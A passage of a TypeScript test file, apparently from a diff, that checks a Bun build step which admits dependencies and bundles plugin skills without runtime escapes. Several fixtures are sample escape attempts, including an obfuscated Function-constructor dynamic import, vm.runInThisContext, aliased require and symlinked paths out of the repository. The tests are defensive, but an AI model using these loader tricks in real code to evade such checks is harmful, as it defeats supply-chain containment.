expect((error as DependencyAdmissionError).code).toBe("lifecycle-script") + } +}) + +test("dependency admission rejects a native addon artifact", () => { + const fixtureRoot = admissionFixture({ + packageJson: { name: "native-thing", version: "1.0.0", license: "MIT" }, + files: { "prebuilt.node": "not-a-script-elf" }, + }) + expect(() => admitDependencyClosure(fixtureRoot)).toThrow(/native artifact/) +}) + +test("dependency admission rejects undeclared optional native artifacts", () => { + const fixtureRoot = admissionFixture({ + packageJson: { + name: "optional-native", + version: "1.0.0", + license: "MIT", + optionalDependencies: { "optional-native-darwin-arm64": "1.0.0" }, + }, + }) + expect(() => admitDependencyClosure(fixtureRoot)).toThrow(/optionalDependencies/) +}) + +test("dependency admission rejects an unresolved peer dependency", () => { + const fixtureRoot = admissionFixture({ + packageJson: { + name: "needs-peer", + version: "1.0.0", + license: "MIT", + peerDependencies: { "missing-peer": "^1.0.0" }, + }, + }) + expect(() => admitDependencyClosure(fixtureRoot)).toThrow(/unresolved peer "missing-peer"/) +}) + +test("dependency admission rejects a reachable peer outside the required range", () => { + const fixtureRoot = admissionFixture({ + packageJson: { + name: "needs-peer", + version: "1.0.0", + license: "MIT", + peerDependencies: { "runtime-peer": "^18.0.0" }, + }, + }) + const lockPath = join(fixtureRoot, "bun.lock") + const lock = JSON.parse(readFileSync(lockPath, "utf8")) + lock.workspaces["packages/fixture-skill"].dependencies["runtime-peer"] = "17.0.0" + lock.packages["runtime-peer"] = ["runtime-peer@17.0.0", "", {}, "sha512-peer"] + writeFileSync(lockPath, `${JSON.stringify(lock)}\n`) + writeFixturePackageStore(fixtureRoot, { + name: "runtime-peer", + version: "17.0.0", + license: "MIT", + }) + expect(() => admitDependencyClosure(fixtureRoot)).toThrow( + /needs-peer@1\.0\.0 has unresolved peer "runtime-peer" for \^18\.0\.0/, + ) +}) + +test("dependency admission accepts a peer selected in the same workspace graph", () => { + const fixtureRoot = admissionFixture({ + packageJson: { + name: "needs-peer", + version: "1.0.0", + license: "MIT", + peerDependencies: { "runtime-peer": "^18.0.0" }, + }, + }) + const lockPath = join(fixtureRoot, "bun.lock") + const lock = JSON.parse(readFileSync(lockPath, "utf8")) + lock.workspaces["packages/fixture-skill"].dependencies["runtime-peer"] = "18.2.0" + lock.packages["runtime-peer"] = ["runtime-peer@18.2.0", "", {}, "sha512-peer"] + writeFileSync(lockPath, `${JSON.stringify(lock)}\n`) + writeFixturePackageStore(fixtureRoot, { + name: "runtime-peer", + version: "18.2.0", + license: "MIT", + }) + expect(admitDependencyClosure(fixtureRoot).map(({ name }) => name)).toEqual([ + "needs-peer", + "runtime-peer", + ]) +}) + +test("workspace peer imports resolve through the admitted graph and validate the selected version", async () => { + const fixtureRoot = admissionFixture({ + packageJson: { + name: "runtime-peer", + version: "18.2.0", + license: "MIT", + type: "module", + main: "index.js", + }, + files: { "index.js": `export default "workspace-peer-proof";\n` }, + }) + const workspaceDirectory = join(fixtureRoot, "packages", "fixture-skill") + mkdirSync(join(workspaceDirectory, "src"), { recursive: true }) + writeFileSync( + join(workspaceDirectory, "package.json"), + `${JSON.stringify({ + name: "fixture-skill", + private: true, + type: "module", + main: "src/main.js", + peerDependencies: { "runtime-peer": "^18.0.0" }, + })}\n`, + ) + writeFileSync( + join(workspaceDirectory, "src", "main.js"), + `import peer from "runtime-peer";console.log(peer);`, + ) + const lockPath = join(fixtureRoot, "bun.lock") + const lock = JSON.parse(readFileSync(lockPath, "utf8")) + lock.workspaces["packages/fixture-skill"].dependencies = {} + lock.workspaces["packages/fixture-skill"].peerDependencies = { + "runtime-peer": "^18.0.0", + } + writeFileSync(lockPath, `${JSON.stringify(lock)}\n`) + const peerDirectory = join( + fixtureRoot, + "node_modules", + ".bun", + "runtime-peer@18.2.0", + "node_modules", + "runtime-peer", + ) + symlinkSync(peerDirectory, join(fixtureRoot, "node_modules", "runtime-peer"), "dir") + + const artifact = await bundleWorkspaceSkill( + fixtureRoot, + "fixture-skill", + "packages/fixture-skill", + join(fixtureRoot, "staging"), + ) + expect(new TextDecoder().decode(artifact.contents)).toContain("workspace-peer-proof") + + lock.workspaces["packages/fixture-skill"].peerDependencies["runtime-peer"] = "^19.0.0" + writeFileSync(lockPath, `${JSON.stringify(lock)}\n`) + await expect( + bundleWorkspaceSkill( + fixtureRoot, + "fixture-skill", + "packages/fixture-skill", + join(fixtureRoot, "invalid-peer-staging"), + ), + ).rejects.toMatchObject({ code: "lock-invalid" }) +}) + +test("semver workspace peers resolve through the referenced workspace version", async () => { + const fixture = fixtureWorkspace(`import shared from "shared";console.log(shared);`, { + name: "fixture-skill", + private: true, + type: "module", + main: "src/main.js", + peerDependencies: { shared: "^1.0.0" }, + }) + const sharedWorkspace = join(fixture.fixtureRoot, "packages", "shared") + mkdirSync(sharedWorkspace, { recursive: true }) + writeFileSync( + join(sharedWorkspace, "package.json"), + `${JSON.stringify({ + name: "shared", + version: "1.2.0", + type: "module", + main: "index.js", + })}\n`, + ) + writeFileSync(join(sharedWorkspace, "index.js"), `export default "workspace-range-proof";\n`) + writeFileSync( + join(fixture.fixtureRoot, "package.json"), + '{"name":"fixture-root","private":true,"workspaces":["packages/*"]}\n', + ) + const lockPath = join(fixture.fixtureRoot, "bun.lock") + const lock = { + lockfileVersion: 1, + workspaces: { + "": { name: "fixture-root" }, + "packages/fixture-skill": { + name: "fixture-skill", + peerDependencies: { shared: "^1.0.0" }, + }, + "packages/shared": { name: "shared", version: "1.2.0" }, + }, + packages: { + "fixture-skill": ["fixture-skill@workspace:packages/fixture-skill"], + shared: ["shared@workspace:packages/shared"], + }, + } + writeFileSync(lockPath, `${JSON.stringify(lock)}\n`) + mkdirSync(join(fixture.fixtureRoot, "node_modules"), { recursive: true }) + symlinkSync(sharedWorkspace, join(fixture.fixtureRoot, "node_modules", "shared"), "dir") + + const artifact = await bundleWorkspaceSkill( + fixture.fixtureRoot, + "fixture-skill", + fixture.workspace, + fixture.staging, + ) + expect(new TextDecoder().decode(artifact.contents)).toContain("workspace-range-proof") + + lock.workspaces["packages/shared"].version = "2.0.0" + writeFileSync(lockPath, `${JSON.stringify(lock)}\n`) + await expect( + bundleWorkspaceSkill( + fixture.fixtureRoot, + "fixture-skill", + fixture.workspace, + join(fixture.fixtureRoot, "invalid-workspace-peer-staging"), + ), + ).rejects.toMatchObject({ code: "lock-invalid" }) +}) + +test("dependency admission rejects a root manifest declaring trustedDependencies", () => { + const fixtureRoot = temporaryDirectory("trusted-dependencies-") + writeFileSync( + join(fixtureRoot, "package.json"), + `${JSON.stringify({ name: "fixture-root", private: true, trustedDependencies: [] })}\n`, + ) + expect(() => admitDependencyClosure(fixtureRoot)).toThrow(/must not declare trustedDependencies/) + try { + admitDependencyClosure(fixtureRoot) + expect.unreachable("admitDependencyClosure must reject") + } catch (error) { + expect((error as DependencyAdmissionError).code).toBe("trusted-dependencies") + } +}) + +test("dependency admission rejects trustedDependencies in a workspace manifest", () => { + const fixtureRoot = admissionFixture({ + packageJson: { name: "workspace-trust", version: "1.0.0", license: "MIT" }, + }) + writeFileSync( + join(fixtureRoot, "packages", "fixture-skill", "package.json"), + '{"name":"fixture-skill","trustedDependencies":[]}\n', + ) + try { + admitDependencyClosure(fixtureRoot) + expect.unreachable("admitDependencyClosure must reject") + } catch (error) { + expect(error).toBeInstanceOf(DependencyAdmissionError) + expect((error as DependencyAdmissionError).code).toBe("trusted-dependencies") + } +}) + +test("dependency admission rejects a missing frozen lockfile", () => { + const fixtureRoot = temporaryDirectory("missing-lock-") + writeFileSync( + join(fixtureRoot, "package.json"), + `${JSON.stringify({ name: "fixture-root", private: true })}\n`, + ) + expect(() => admitDependencyClosure(fixtureRoot)).toThrow(/bun\.lock is missing/) + try { + admitDependencyClosure(fixtureRoot) + expect.unreachable("admitDependencyClosure must reject") + } catch (error) { + expect((error as DependencyAdmissionError).code).toBe("store-missing") + } +}) + +test("dependency admission rejects a locked package absent from the isolated store", () => { + const fixtureRoot = admissionFixture({ + packageJson: { name: "phantom-pkg", version: "1.0.0", license: "MIT" }, + omitStore: true, + }) + expect(() => admitDependencyClosure(fixtureRoot)).toThrow( + /phantom-pkg@1\.0\.0 is not present in the isolated store/, + ) + try { + admitDependencyClosure(fixtureRoot) + expect.unreachable("admitDependencyClosure must reject") + } catch (error) { + expect((error as DependencyAdmissionError).code).toBe("store-missing") + } +}) + +test("dependency admission excludes dev-only locked packages from the catalog closure", () => { + const fixtureRoot = admissionFixture({ + packageJson: { name: "runtime-package", version: "1.0.0", license: "MIT" }, + workspaceDevDependencies: { "dev-only-package": "9.0.0" }, + extraLockedPackages: { + "dev-only-package": ["dev-only-package@9.0.0", "", {}, "sha512-dev-only"], + }, + }) + expect(admitDependencyClosure(fixtureRoot).map(({ name }) => name)).toEqual(["runtime-package"]) +}) + +test("dependency admission follows the bounded production dependency graph", () => { + const fixtureRoot = admissionFixture({ + packageJson: { name: "runtime-package", version: "1.0.0", license: "MIT" }, + }) + const lockPath = join(fixtureRoot, "bun.lock") + const lock = JSON.parse(readFileSync(lockPath, "utf8")) + lock.packages["runtime-package"][2] = { + dependencies: { "runtime-child": "^2.0.0" }, + } + lock.packages["runtime-child"] = ["runtime-child@2.3.1", "", {}, "sha512-runtime-child"] + writeFileSync(lockPath, `${JSON.stringify(lock)}\n`) + writeFixturePackageStore(fixtureRoot, { + name: "runtime-child", + version: "2.3.1", + license: "ISC", + }) + expect(admitDependencyClosure(fixtureRoot).map(({ name }) => name)).toEqual([ + "runtime-child", + "runtime-package", + ]) +}) + +test("dependency admission resolves versioned and versionless npm aliases through their lock key", () => { + for (const [realName, requested] of [ + ["real-package", "npm:real-package@1.2.3"], + ["real-package", "npm:real-package"], + ["@scope/real-package", "npm:@scope/real-package"], + ] as const) { + const fixtureRoot = admissionFixture({ + packageJson: { name: realName, version: "1.2.3", license: "MIT" }, + }) + const workspaceManifestPath = join( + fixtureRoot, + "packages", + "fixture-skill", + "package.json", + ) + const workspaceManifest = JSON.parse(readFileSync(workspaceManifestPath, "utf8")) + workspaceManifest.dependencies = { alias: requested } + writeFileSync(workspaceManifestPath, `${JSON.stringify(workspaceManifest, null, 2)}\n`) + const lockPath = join(fixtureRoot, "bun.lock") + const lock = JSON.parse(readFileSync(lockPath, "utf8")) + lock.workspaces["packages/fixture-skill"].dependencies = { alias: requested } + lock.packages.alias = lock.packages[realName] + delete lock.packages[realName] + writeFileSync(lockPath, `${JSON.stringify(lock)}\n`) + + expect(admitDependencyClosure(fixtureRoot).map(({ name }) => name)).toEqual([realName]) + } +}) + +test("workspace peers cannot select a different nested package than the workspace dependency", () => { + const fixtureRoot = admissionFixture({ + packageJson: { name: "runtime-package", version: "1.0.0", license: "MIT" }, + }) + const lockPath = join(fixtureRoot, "bun.lock") + const lock = JSON.parse(readFileSync(lockPath, "utf8")) + lock.workspaces["packages/fixture-skill"].dependencies["runtime-peer"] = "17.0.0" + lock.workspaces["packages/fixture-skill"].peerDependencies = { + "runtime-peer": "^18.0.0", + } + lock.packages["runtime-peer"] = ["runtime-peer@17.0.0", "", {}, "sha512-peer-17"] + lock.packages["other/runtime-peer"] = [ + "runtime-peer@18.2.0", + "", + {}, + "sha512-peer-18", + ] + writeFileSync(lockPath, `${JSON.stringify(lock)}\n`) + + expect(() => admitDependencyClosure(fixtureRoot)).toThrow( + /bun\.lock selection runtime-peer does not satisfy runtime-peer@\^18\.0\.0/, + ) +}) + +test("dependency admission resolves a workspace protocol dependency by package identity", () => { + const fixtureRoot = admissionFixture({ + packageJson: { name: "runtime-package", version: "1.0.0", license: "MIT" }, + }) + const sharedWorkspace = join(fixtureRoot, "packages", "shared-runtime") + mkdirSync(sharedWorkspace, { recursive: true }) + writeFileSync( + join(sharedWorkspace, "package.json"), + '{"name":"shared-runtime","private":true,"type":"module"}\n', + ) + const lockPath = join(fixtureRoot, "bun.lock") + const lock = JSON.parse(readFileSync(lockPath, "utf8")) + lock.workspaces["packages/fixture-skill"].dependencies["shared-runtime"] = "workspace:*" + lock.workspaces["packages/shared-runtime"] = { name: "shared-runtime" } + lock.packages["shared-runtime"] = [ + "shared-runtime@workspace:packages/shared-runtime", + ] + writeFileSync(lockPath, `${JSON.stringify(lock)}\n`) + expect(admitDependencyClosure(fixtureRoot).map(({ name }) => name)).toEqual([ + "runtime-package", + ]) +}) + +test("dependency admission follows the parent-specific lock selection", () => { + const fixtureRoot = admissionFixture({ + packageJson: { name: "runtime-package", version: "1.0.0", license: "MIT" }, + }) + const lockPath = join(fixtureRoot, "bun.lock") + const lock = JSON.parse(readFileSync(lockPath, "utf8")) + lock.packages["runtime-package"][2] = { + dependencies: { "runtime-child": "^2.0.0" }, + } + lock.packages["runtime-child"] = ["runtime-child@3.0.0", "", {}, "sha512-hoisted"] + lock.packages["runtime-package/runtime-child"] = ["runtime-child@2.3.1", "", {}, "sha512-nested"] + writeFileSync(lockPath, `${JSON.stringify(lock)}\n`) + for (const version of ["2.3.1", "3.0.0"]) { + writeFixturePackageStore(fixtureRoot, { + name: "runtime-child", + version, + license: "ISC", + }) + } + expect( + admitDependencyClosure(fixtureRoot).map(({ name, version }) => `${name}@${version}`), + ).toEqual(["runtime-child@2.3.1", "runtime-package@1.0.0"]) +}) + +test("dependency admission rejects a transitive selection outside its requested range", () => { + const fixtureRoot = admissionFixture({ + packageJson: { name: "runtime-package", version: "1.0.0", license: "MIT" }, + }) + const lockPath = join(fixtureRoot, "bun.lock") + const lock = JSON.parse(readFileSync(lockPath, "utf8")) + lock.packages["runtime-package"][2] = { + dependencies: { "runtime-child": "^2.0.0" }, + } + lock.packages["runtime-child"] = ["runtime-child@3.0.0", "", {}, "sha512-wrong-range"] + writeFileSync(lockPath, `${JSON.stringify(lock)}\n`) + expect(() => admitDependencyClosure(fixtureRoot)).toThrow( + /bun\.lock cannot resolve runtime-child@\^2\.0\.0 from runtime-package/, + ) +}) + +test("dependency admission rejects a bare-key package at the wrong locked version", () => { + const fixtureRoot = admissionFixture({ + packageJson: { name: "runtime-package", version: "1.0.0", license: "MIT" }, + }) + const lockPath = join(fixtureRoot, "bun.lock") + const lock = JSON.parse(readFileSync(lockPath, "utf8")) + lock.packages["runtime-package"][0] = "runtime-package@2.0.0" + writeFileSync(lockPath, `${JSON.stringify(lock)}\n`) + try { + admitDependencyClosure(fixtureRoot) + expect.unreachable("admitDependencyClosure must reject") + } catch (error) { + expect(error).toBeInstanceOf(DependencyAdmissionError) + expect((error as DependencyAdmissionError).code).toBe("lock-invalid") + } +}) + +test("dependency admission rejects malformed lock identities with a typed error", () => { + const fixtureRoot = admissionFixture({ + packageJson: { name: "runtime-package", version: "1.0.0", license: "MIT" }, + extraLockedPackages: { malformed: ["missing-version-separator"] }, + }) + try { + admitDependencyClosure(fixtureRoot) + expect.unreachable("admitDependencyClosure must reject") + } catch (error) { + expect(error).toBeInstanceOf(DependencyAdmissionError) + expect((error as DependencyAdmissionError).code).toBe("lock-invalid") + } +}) + +test("dependency admission rejects a non-permissive license", () => { + const fixtureRoot = admissionFixture({ + packageJson: { + name: "gpl-thing", + version: "1.0.0", + license: "GPL-3.0-only", + }, + }) + expect(() => admitDependencyClosure(fixtureRoot)).toThrow(/license/) +}) + +test("dependency admission selects license files in code-unit order", () => { + const fixtureRoot = admissionFixture({ + packageJson: { name: "sorted-license", version: "1.0.0", license: "MIT" }, + files: { LICENCE: "Deterministic licence text.\n" }, + }) + expect(admitDependencyClosure(fixtureRoot)[0].licenseText).toBe("Deterministic licence text.\n") +}) + +test("third-party notices carry package name, version, license, and text", () => { + const notices = renderThirdPartyNotices([ + { name: "ms", version: "2.1.3", license: "MIT", licenseText: "MIT text\n" }, + ]) + expect(notices).toContain("## ms@2.1.3 (MIT)") + expect(notices).toContain("MIT text") + expect(notices).toContain("Generated from bun.lock") +}) + +test("a phantom bare import fails with a precise unresolved-import error", async () => { + const fixture = fixtureWorkspace(`import leftPad from "left-pad";console.log(leftPad("x", 3));`) + await expectBundleRejection(fixture, "unresolved-import", /unresolved bare import "left-pad"/) +}) + +test("declared package import aliases remain inside the workspace closure", async () => { + const fixture = fixtureWorkspace( + `import exact from "#exact";import wildcard from "#lib/value";console.log(exact, wildcard);`, + { + name: "fixture-skill", + private: true, + type: "module", + main: "src/main.js", + imports: { + "#exact": "./src/exact.js", + "#lib/*": "./src/lib/*.js", + }, + }, + ) + const workspaceRoot = join(fixture.fixtureRoot, fixture.workspace) + mkdirSync(join(workspaceRoot, "src", "lib"), { recursive: true }) + writeFileSync(join(workspaceRoot, "src", "exact.js"), `export default "exact";\n`) + writeFileSync(join(workspaceRoot, "src", "lib", "value.js"), `export default "wildcard";\n`) + + const artifact = await bundleWorkspaceSkill( + fixture.fixtureRoot, + "fixture-skill", + fixture.workspace, + fixture.staging, + ) + const bundle = new TextDecoder().decode(artifact.contents) + expect(bundle).toContain('var exact_default = "exact";') + expect(bundle).toContain('var value_default = "wildcard";') + expect(bundle).not.toContain('from "#') +}) + +test("parent dependency resolution fails with a precise parent-resolution error", async () => { + const parentRoot = temporaryDirectory("parent-resolution-") + const parentPackage = join(parentRoot, "node_modules", "leaked-pkg") + mkdirSync(parentPackage, { recursive: true }) + writeFileSync( + join(parentPackage, "package.json"), + `${JSON.stringify({ name: "leaked-pkg", version: "1.0.0", main: "index.js" })}\n`, + ) + writeFileSync(join(parentPackage, "index.js"), "module.exports = 'leaked'\n") + const fixtureRoot = join(parentRoot, "repo") + const workspaceDirectory = join(fixtureRoot, "packages", "fixture-skill") + mkdirSync(join(workspaceDirectory, "src"), { recursive: true }) + writeFileSync( + join(workspaceDirectory, "package.json"), + `${JSON.stringify({ + name: "fixture-skill", + type: "module", + main: "src/main.js", + dependencies: { "leaked-pkg": "1.0.0" }, + })}\n`, + ) + writeFileSync( + join(workspaceDirectory, "src", "main.js"), + `import leaked from "leaked-pkg";console.log(leaked);`, + ) + + await expectBundleRejection( + { + fixtureRoot, + workspace: "packages/fixture-skill", + staging: join(fixtureRoot, "staging"), + }, + "parent-resolution", + /resolved outside the repository/, + ) +}) + +test("a relative import escaping the repository fails with a precise parent-resolution error", async () => { + const parentRoot = temporaryDirectory("relative-escape-") + writeFileSync(join(parentRoot, "outside.js"), "export default 'escaped'\n") + const fixtureRoot = join(parentRoot, "repo") + const workspaceDirectory = join(fixtureRoot, "packages", "fixture-skill") + mkdirSync(join(workspaceDirectory, "src"), { recursive: true }) + writeFileSync( + join(workspaceDirectory, "package.json"), + `${JSON.stringify({ name: "fixture-skill", type: "module", main: "src/main.js" })}\n`, + ) + writeFileSync( + join(workspaceDirectory, "src", "main.js"), + `import outside from "../../../../outside.js";console.log(outside);`, + ) + + await expectBundleRejection( + { + fixtureRoot, + workspace: "packages/fixture-skill", + staging: join(fixtureRoot, "staging"), + }, + "parent-resolution", + /resolved outside the repository/, + ) +}) + +test("a non-JavaScript asset outside the production graph is rejected", async () => { + const fixture = fixtureWorkspace( + `import text from "../../../outside.txt";console.log(text);`, + ) + writeFileSync(join(fixture.fixtureRoot, "outside.txt"), "build-host content\n") + await expectBundleRejection( + fixture, + "unadmitted-import", + /module is outside the workspace production dependency graph/, + ) +}) + +test("an admitted workspace text asset keeps Bun's built-in loader behavior", async () => { + const fixture = fixtureWorkspace(`import text from "./message.txt";console.log(text);`) + writeFileSync( + join(fixture.fixtureRoot, "packages", "fixture-skill", "src", "message.txt"), + "allowed workspace text\n", + ) + const artifact = await bundleWorkspaceSkill( + fixture.fixtureRoot, + "fixture-skill", + fixture.workspace, + fixture.staging, + ) + expect(new TextDecoder().decode(artifact.contents)).toContain("allowed workspace text") +}) + +test("a bare non-JavaScript asset resolving outside the repository is rejected", async () => { + const fixtureRoot = admissionFixture({ + packageJson: { name: "asset-package", version: "1.0.0", license: "MIT" }, + }) + const workspaceDirectory = join(fixtureRoot, "packages", "fixture-skill") + mkdirSync(join(workspaceDirectory, "src"), { recursive: true }) + writeFileSync( + join(workspaceDirectory, "package.json"), + `${JSON.stringify({ + name: "fixture-skill", + private: true, + type: "module", + main: "src/main.js", + dependencies: { "asset-package": "1.0.0" }, + })}\n`, + ) + writeFileSync( + join(workspaceDirectory, "src", "main.js"), + `import text from "asset-package/asset.txt";console.log(text);`, + ) + const outsideRoot = temporaryDirectory("bare-asset-escape-") + const outsideAsset = join(outsideRoot, "asset.txt") + writeFileSync(outsideAsset, "build-host content\n") + const packageAsset = join( + fixtureRoot, + "node_modules", + ".bun", + "asset-package@1.0.0", + "node_modules", + "asset-package", + "asset.txt", + ) + symlinkSync(outsideAsset, packageAsset) + symlinkSync( + dirname(packageAsset), + join(fixtureRoot, "node_modules", "asset-package"), + "dir", + ) + + await expectBundleRejection( + { + fixtureRoot, + workspace: "packages/fixture-skill", + staging: join(fixtureRoot, "staging"), + }, + "parent-resolution", + /resolved outside the repository/, + ) +}) + +test("a workspace without an existing main entry fails with a precise missing-entry error", async () => { + const fixture = fixtureWorkspace(`console.log("unused");`, { + name: "fixture-skill", + private: true, + type: "module", + main: "src/absent.js", + }) + await expectBundleRejection(fixture, "missing-entry", /does not declare an existing "main" entry/) +}) + +test("a missing or invalid workspace manifest fails with a typed missing-entry error", async () => { + for (const manifest of [undefined, "{ invalid json\n"]) { + const fixture = fixtureWorkspace(`console.log("unused");`) + const manifestPath = join(fixture.fixtureRoot, "packages", "fixture-skill", "package.json") + if (manifest === undefined) rmSync(manifestPath) + else writeFileSync(manifestPath, manifest) + await expectBundleRejection( + fixture, + "missing-entry", + /package\.json is missing, unreadable, or invalid/, + ) + } +}) + +test("a main entry escaping the workspace fails with a precise entry-escape error", async () => { + // Bun.build never routes the entrypoint through the closed-resolution plugin, + // so a "main" pointing outside the workspace would be bundled as a valid + // skill without the containment check. Assert it is rejected. + const parentRoot = temporaryDirectory("entry-escape-") + writeFileSync(join(parentRoot, "outside.js"), `console.log("escaped entry");\n`) + const fixtureRoot = join(parentRoot, "repo") + const workspaceDirectory = join(fixtureRoot, "packages", "fixture-skill") + mkdirSync(workspaceDirectory, { recursive: true }) + writeFileSync( + join(workspaceDirectory, "package.json"), + `${JSON.stringify({ name: "fixture-skill", type: "module", main: "../../../outside.js" })}\n`, + ) + + await expectBundleRejection( + { + fixtureRoot, + workspace: "packages/fixture-skill", + staging: join(fixtureRoot, "staging"), + }, + "entry-escape", + /resolves outside the workspace/, + ) +}) + +test("an unparseable entry fails with a precise bundler-failure error", async () => { + const fixture = fixtureWorkspace(`export const broken = {`) + await expectBundleRejection(fixture, "bundler-failure", /./) +}) + +test("a computed dynamic import fails with a precise build error", async () => { + const fixture = fixtureWorkspace( + `const target = process.env.TARGET_MODULE;export const load = () => import(target);console.log("loaded");`, + ) + await expectBundleRejection(fixture, "computed-dynamic-import", /computed dynamic import/) +}) + +test("runtime code generation fails before bundle materialization", async () => { + const fixture = fixtureWorkspace( + `const C = (() => {}).constructor;const load = C("target", "return im" + "port(target)");console.log(load);`, + ) + await expectBundleRejection(fixture, "dynamic-code-generation", /runtime code generation/) +}) + +test("runtime escape built-ins fail before bundle materialization", async () => { + const fixtures = [ + [ + fixtureWorkspace( + `import vm from "node:vm";console.log(vm.runInThisContext("p => import(p)"));`, + ), + "dynamic-code-generation", + ], + [ + fixtureWorkspace( + `import * as M from "node:module";const key = process.env.KEY;console.log(M[key](import.meta.url));`, + ), + "runtime-loader", + ], + ] as const + for (const [fixture, code] of fixtures) { + await expectBundleRejection(fixture, code, /runtime escape built-in/) + } +}) + +test("an indirect runtime require fails before bundle materialization", async () => { + const fixture = fixtureWorkspace( + `const target = process.env.TARGET_MODULE;console.log(require.call(null, target));`, + ) + await expectBundleRejection(fixture, "computed-require", /computed runtime require/) +}) + +test("an aliased runtime require fails before bundle materialization", async () => { + const fixture = fixtureWorkspace( + `const load = require;const target = process.env.TARGET_MODULE;console.log(load(target));`, + ) + await expectBundleRejection(fixture, "computed-require", /computed runtime require/) +}) + +test("an aliased createRequire fails before bundle materialization", async () => { + const fixture = fixtureWorkspace( + `import { createRequire as load } from "node:module";const require = load(import.meta.url);console.log(require("ambient-package"));`, + ) + await expectBundleRejection(fixture, "runtime-loader", /runtime module-loader escape/) +}) + +test("a dev-only package import fails the workspace production graph", async () => { + const fixture = fixtureWorkspace(`import value from "dev-only";console.log(value);`, { + name: "fixture-skill", + private: true, + type: "module", + main: "src/main.js", + devDependencies: { "dev-only": "1.0.0" }, + }) + writeFileSync( + join(fixture.fixtureRoot, "package.json"), + '{"name":"fixture-root","private":true,"workspaces":["packages/*"]}\n', + ) + writeFileSync( + join(fixture.fixtureRoot, "bun.lock"), + `${JSON.stringify({ + lockfileVersion: 1, + workspaces: { + "": { name: "fixture-root" }, + "packages/fixture-skill": { + name: "fixture-skill", + devDependencies: { "dev-only": "1.0.0" }, + }, + }, + packages: { + "dev-only": ["dev-only@1.0.0", "", {}, "sha512-dev-only"], + "fixture-skill": ["fixture-skill@workspace:packages/fixture-skill"], + }, + })}\n`, + ) + const devOnlyDirectory = join(fixture.fixtureRoot, "node_modules", "dev-only") + mkdirSync(devOnlyDirectory, { recursive: true }) + writeFileSync( + join(devOnlyDirectory, "package.json"), + '{"name":"dev-only","version":"1.0.0","main":"index.js"}\n', + ) + writeFileSync(join(devOnlyDirectory, "index.js"), "export default 'dev-only';\n") + await expectBundleRejection( + fixture, + "unadmitted-import", + /bare import "dev-only" is not declared/, + ) +}) + +test("hello-world uses the same closed bundle validation gate", async () => { + const fixtureRoot = temporaryDirectory("hello-world-closure-") + const sourceDirectory = join(fixtureRoot, "runtime", "src") + mkdirSync(sourceDirectory, { recursive: true }) + writeFileSync( + join(sourceDirectory, "bun-proof-adapter.ts"), + `const target = process.env.TARGET_MODULE;await import(target);`, + ) + await expect( + buildHelloWorldRuntime(fixtureRoot, join(fixtureRoot, "staging")), + ).rejects.toMatchObject({ code: "computed-dynamic-import" }) +}) + +test("a failed complete build leaves checked payload input unchanged", async () => { + const fixtureRoot = temporaryDirectory("atomic-build-candidate-") + mkdirSync(join(fixtureRoot, "runtime", "src"), { recursive: true }) + mkdirSync(join(fixtureRoot, "plugin", "runtime"), { recursive: true }) + writeFileSync(join(fixtureRoot, "package.json"), '{"private":true}\n') + writeFileSync(join(fixtureRoot, "bun.lock"), '{"lockfileVersion":1,"packages":{}}\n') + cpSync( + join(root, "runtime", "runtime.lock.json"), + join(fixtureRoot, "runtime", "runtime.lock.json"), + ) + writeFileSync( + join(fixtureRoot, "runtime", "skill-catalog.json"), + `${JSON.stringify({ + schemaVersion: 1, + skills: { + "hello-world": { + entry: "runtime/hello-world.js", + runtimeProfile: "bun", + }, + }, + })}\n`, + ) + writeFileSync( + join(fixtureRoot, "runtime", "src", "bun-proof-adapter.ts"), + `const target = process.env.TARGET_MODULE;await import(target);`, + ) + const protectedOutputs = new Map([ + [join(fixtureRoot, "plugin", "runtime", "hello-world.js"), "old hello\n"], + [join(fixtureRoot, "plugin", "runtime", "bundle-inventory.json"), "old inventory\n"], + [join(fixtureRoot, "plugin", "THIRD-PARTY-NOTICES.md"), "old notices\n"], + ]) + for (const [path, contents] of protectedOutputs) writeFileSync(path, contents) + + await expect(buildWorkspaceBundles(fixtureRoot)).rejects.toMatchObject({ + code: "computed-dynamic-import", + }) + for (const [path, contents] of protectedOutputs) { + expect(readFileSync(path, "utf8")).toBe(contents) + } +}) + +test("a native addon import fails with a precise native-addon error", async () => { + const fixture = fixtureWorkspace(`const addon = require("./addon.node");console.log(addon);`, { + name: "fixture-skill", + private: true, + main: "src/main.js", + }) + writeFileSync(join(fixture.fixtureRoot, "packages", "fixture-skill", "src", "addon.node"), "ELF") + await expectBundleRejection(fixture, "native-addon", /native addon/) +}) + +test("an undeclared asset fails with a precise unexpected-output error", async () => { + const fixture = fixtureWorkspace(`import data from "./data.bin";console.log(data);`) + writeFileSync( + join(fixture.fixtureRoot, "packages", "fixture-skill", "src", "data.bin"), + "binary-bytes", + ) + await expectBundleRejection(fixture, "unexpected-output", /exactly one JavaScript artifact/) +}) + +test("install admission rejects signal and nonzero exits", () => { + expect(() => assertSuccessfulInstall({ exitCode: null, signalCode: "SIGTERM" })).toThrow( + /terminated by signal SIGTERM/, + ) + expect(() => assertSuccessfulInstall({ exitCode: 17 })).toThrow(/exited with code 17/) + expect(() => assertSuccessfulInstall({ exitCode: 0 })).not.toThrow() +}) + +function runRepositoryBuild(): { + bundles: Record + notices: { path: string; bytes: number; sha256: string } +} { + const build = Bun.spawnSync({ + cmd: [process.execPath, "run", "scripts/build.ts"], + cwd: root, + stdout: "pipe", + stderr: "pipe", + }) + if (build.exitCode !== 0) throw new Error(build.stderr.toString()) + const outputLines = build.stdout.toString().trim().split("\n") + expect(outputLines).toHaveLength(1) + const report = JSON.parse(outputLines[0]) + expect(report.helloWorldRuntime).toBe(join(root, "plugin", "runtime", "hello-world.js")) + const inventory = JSON.parse( + readFileSync(join(root, "plugin", "runtime", "bundle-inventory.json"), "utf8"), + ) + expect(report.bundles).toEqual(inventory.bundles) + return { bundles: inventory.bundles, notices: inventory.notices } +} + +test("workspace bundles build, relocate, and execute without workspaces or node_modules", () => { + const result = runRepositoryBuild() + expect(Object.keys(result.bundles)).toEqual(["hello-world", "skill-a", "skill-b"]) + validateBundleClosure(root) + + const installedRoot = temporaryDirectory("relocated-plugin-") + copyPluginPayload(root, installedRoot) + const environment = { PATH: "/usr/bin:/bin", HOME: installedRoot } + + const skillA = Bun.spawnSync({ + cmd: [process.execPath, join(installedRoot, result.bundles["skill-a"].path)], + cwd: installedRoot, + env: environment, + stdout: "pipe", + stderr: "pipe", + }) + expect(skillA.stderr.toString()).toBe("") + expect(skillA.exitCode).toBe(0) + expect(JSON.parse(skillA.stdout.toString())).toEqual({ + skill: "skill-a", + moduleShape: "esm", + esmDependency: "skillAOfflineProof", + cjsDependencyMilliseconds: 